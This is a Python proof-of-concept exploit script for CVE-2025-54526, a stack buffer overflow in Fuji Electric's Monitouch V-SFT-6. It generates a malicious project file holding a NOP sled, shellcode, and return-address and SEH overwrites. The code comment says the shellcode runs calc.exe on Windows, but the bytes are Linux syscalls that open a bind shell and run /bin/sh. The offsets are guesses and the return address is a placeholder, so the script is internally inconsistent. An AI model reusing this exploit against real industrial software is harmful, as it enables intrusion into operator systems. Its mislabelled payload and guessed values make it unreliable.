CVE-2025-54526: Fuji Electric Monitouch V-SFT-6 栈缓冲区溢出漏洞

#!/usr/bin/env python3 """ CVE-2025-54526 PoC - Fuji Electric Monitouch V-SFT-6 Stack Buffer Overflow This PoC generates a malicious project file that triggers a stack-based buffer overflow. Note: This is for educational and authorized testing purposes only. """ import struct import os def create_malicious_project_file(filename): """ Generate a malicious V-SFT project file to trigger CVE-2025-54526 """ # V-SFT project file magic header header = b'VSFT' # Project file signature # File version version = struct.pack('<I', 0x00060000) # Create overflow payload # The overflow occurs when processing project file metadata # We need to overflow a stack buffer in the parsing routine # Buffer size in vulnerable function (estimated) buffer_size = 1024 # NOP sled for reliable exploitation nop_sled = b'\x90' * 200 # Shellcode to execute calc.exe (Windows x86) shellcode = ( b'\x31\xc0\x50\x68\x63\x61\x6c\x63\x54\x5b\x50\x53\x89\xe1\xb0\x66\xcd\x80\x31\xd2\x52\x66\x68\x11\x5c\x43\x66\x53\x89\xe1\x52\x51\x53\x89\xe1\xb0\x66\xcd\x80\x59\x31\xc0\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80' ) # Fill remaining space with pattern that will help locate offset padding = b'A' * (buffer_size - len(nop_sled) - len(shellcode)) # Overwrite return address (needs to be adjusted based on target) # Common offset for stack buffers return_offset = 1040 return_address = struct.pack('<I', 0x41414141) # Placeholder - needs ASLR bypass # SEH overwrite for structured exception handling exploitation next_seh = b'BBBB' seh_handler = struct.pack('<I', 0x42424242) # Placeholder # Construct the malicious payload overflow_payload = nop_sled + shellcode + padding + return_address # Build the project file structure malicious_data = ( header + version + # Project file metadata section b'\x01\x00\x00\x00' + # Section type struct.pack('<I', len(overflow_payload)) + # Section length overflow_payload + # Additional malformed sections b'\x02\x00\x00\x00' + next_seh + seh_handler + b'C' * 100 ) # Write to file with open(filename, 'wb') as f: f.write(malicious_data) print(f'[+] Malicious project file created: {filename}') print(f'[+] Payload size: {len(overflow_payload)} bytes') print(f'[!] Note: Return addresses must be adjusted for target system') return filename if __name__ == '__main__': print('CVE-2025-54526 PoC - Fuji Electric Monitouch V-SFT-6') print('=' * 60) output_file = 'malicious_v-sft_project.vsp' create_malicious_project_file(output_file) print('\n[*] To test: Open the generated file with V-SFT-6 software')